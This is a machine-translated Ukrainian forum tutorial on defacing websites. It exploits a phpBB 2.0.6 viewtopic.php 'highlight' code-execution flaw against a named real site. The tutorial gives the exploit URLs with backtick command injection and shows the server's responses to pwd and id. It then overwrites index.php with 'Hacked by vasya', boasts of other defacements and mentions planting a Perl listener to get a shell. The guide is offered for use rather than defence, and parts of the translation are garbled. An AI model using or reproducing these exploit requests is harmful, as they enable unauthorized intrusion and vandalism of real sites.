This page has been robot translated, sorry for typos if any. Original content here.

Повне керівництво по дефейсу (updated)

Вступ
Я часто бачу питання на форумі: "Як ламати сайти?" або "Як задефейсіть сайт?". Сьогодні ви зможете дефейснуть портал, не доклавши ні краплі зусиль! Всіх любителів легкої здобичі запрошую! =)

Основна частина
Сьогодні я розповім про те, як робляться дефейси різних сайтів, через помилки в популярних скриптах. Нещодавно була виявлена ​​серйозна дірка в безпеці популярного движка phpBB.
Уразливість була виявлена ​​в модулі viewtopic.php

Справа в тому, що віддалений атакуючий міг виконати довільний php-сценарій на вразливою системі при передачі приблизно такого рядка viewtopic.php? T = 1 & highlight =% 27

Як ви вже, напевно, здогадалися, ця уразливість дозволяє виконувати довільні команди будь-якої довжини на уразливому сервері. Сьогодні ми скористаємося цією діркою, і разом з вами зламаємо реально існуючий сервер. Метою нашої буде саме дефейс, тобто заміна головної сторінки сайту на нашу.

Отже, приступимо, нашою жертвою стане www.maxmuscle.dk (на момент публікації статті портал стійкий до уразливості).
Перше що кидається нам в очі, при відвідуванні цієї сторінки, так це те, що він побудований на основі портальної системи php-nuke.

За замовчуванням в цій системі на форумі є саме phpBB. Ми клацаємо по лінку який веде нас до форуму, (http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&filе=index.php) і переконуємося в тому, що це саме phpBB версії 2.0.6 .

Ми передаємо форуму запит такого виду:

http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&filе=viewtopic.php&t=2&highlight=%27.$poster=`$ls`.%27&l s =

і виявляємо що движок поглинув рядок про що свідчить характерний напис замість ника одного з користувачів: ") #i". Але це ще нічого не означає, у нас з легкістю може обламати виконання команд на цьому сервері, але ми не будемо гадати і просто спробуємо виконати її:

http://www.maxmuscle.dk/osclux/modules.php?op=modload&name=phpbb2&filе=viewtopic.php&t=2&highlight=%27.$poster=`$ls`.%27&l s = pwd

Ця команда (pwd) повинна показати нам директорію, в якій ми зараз знаходимося, якщо це станеться, то з цього випливає висновок що виконання команд на сервері можливо. Так і відбувається. Шлях директорії / var / www / html / osclux / виведений на екран. Наступною командою слід «id» для перевірки нашого доступу.

Як ми бачимо права у нас uid = 99 (nobody), тобто права веб сервера. Тепер ми виводимо лістинг папок і файлів в директорії html_public, командою "dir / var / www / html / osclux" і виявляємо що так необхідний нам для дефейса index.php лежить в цій директорії.

Отже, ми на фінішній прямій - виконавши команду echo Hacked by vasya> index.php, ми вивдем на головну сторінку напис «Hacked by vasya». Перевіряємо. Вийшло.

Ви зробили дефейс.

замість висновку
Саме таким ось нехитрим чином було проведено дефейс hackzona.ru, саме так був зламаний форум на nsd.ru. Зауважу також що це найпростіша реалізація цієї дірки, при хороших умовах можна з легкістю затоки на сервер, слухає певний порт, скрипт на Перл і отримати вже повноцінний шелл з nobody правами.